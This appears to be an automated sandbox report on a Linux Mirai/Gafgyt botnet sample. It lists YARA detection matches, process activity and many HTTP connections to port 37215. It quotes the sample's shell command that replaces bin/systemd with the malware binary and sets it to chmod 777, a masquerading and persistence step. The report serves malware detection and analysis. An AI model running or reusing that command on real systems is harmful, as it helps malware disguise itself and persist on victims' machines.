Source: 5479.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_0bce98a2 reference_sample = 1b20df8df7f84ad29d81ccbe276f49a6488c2214077b13da858656c027531c80, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 993d0d2e24152d0fb72cc5d5add395bed26671c3935f73386341398b91cb0e6e, id = 0bce98a2-113e-41e1-95c9-9e1852b26142, last_modified = 2021-09-16
Source: 5479.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: 5479.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 5479.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 5479.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 5479.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth, description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b
Source: 5479.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: Process Memory Space: 77.90.35.9-skid.x86-2024-07-30T07_10_50.elf PID: 5479, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16

Source: classification engine

Classification label: mal100.troj.linELF@0/0@22/0

Source: /tmp/77.90.35.9-skid.x86-2024-07-30T07_10_50.elf (PID: 5480)

Shell command executed: sh -c "rm -rf bin/systemd && mkdir bin; >bin/systemd && mv /tmp/77.90.35.9-skid.x86-2024-07-30T07_10_50.elf bin/systemd; chmod 777 bin/systemd"

Jump to behavior

Source: /bin/sh (PID: 5484)

Chmod executable: /usr/bin/chmod -> chmod 777 bin/systemd

Jump to behavior

Source: /bin/sh (PID: 5482)

Mkdir executable: /usr/bin/mkdir -> mkdir bin

Jump to behavior

Source: /usr/bin/dash (PID: 5466)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.jDFRi6SF5M /tmp/tmp.3H8VVeFViH /tmp/tmp.NEn2OScaYF	Jump to behavior
Source: /usr/bin/dash (PID: 5467)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.jDFRi6SF5M /tmp/tmp.3H8VVeFViH /tmp/tmp.NEn2OScaYF	Jump to behavior
Source: /bin/sh (PID: 5481)	Rm executable: /usr/bin/rm -> rm -rf bin/systemd	Jump to behavior

Source: /usr/bin/chmod (PID: 5484)

File: /tmp/bin/systemd (bits: - usr: rwx grp: rwx all: rwx)

Jump to behavior

Source: /bin/sh (PID: 5484)

Chmod executable with 777: /usr/bin/chmod -> chmod 777 bin/systemd

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 53436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41816 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58932 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45330 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45960 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56898 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58684 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50446 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46520 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57494 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42098 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37194 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46642 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39766 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37732 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35798 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55410 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47248 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43022 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53766 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38640 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40484 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48166 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57116 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47502 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33710 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44332 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46216 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38670 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44858 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40490 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40102 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44520 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45626 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45600 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46990 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60216 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41022 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44432 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36104 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39070 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40264 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57336 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55158 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35618 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49550 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43764 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48930 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56378 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58022 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42878 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48730 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51574 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36966 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55082 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58000 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39570 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49078 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34070 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44628 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54038 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56346 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55556 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40264 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33736 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37426 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35352 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49670 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53042 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43042 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60530 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48858 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54878 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46640 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44336 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40960 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52882 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46410 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43792 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55848 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39140 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37464 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39934 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45542 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33972 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37384 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46490 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44138 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41446 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34420 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48158 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42420 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56116 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52128 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48114 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53542 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59960 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33664 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57988 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57380 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45084 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51716 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53542 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46238 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50514 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44420 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54012 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48688 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41682 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54044 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39764 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60082 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48510 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40578 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35300 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48732 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45156 -> 37215
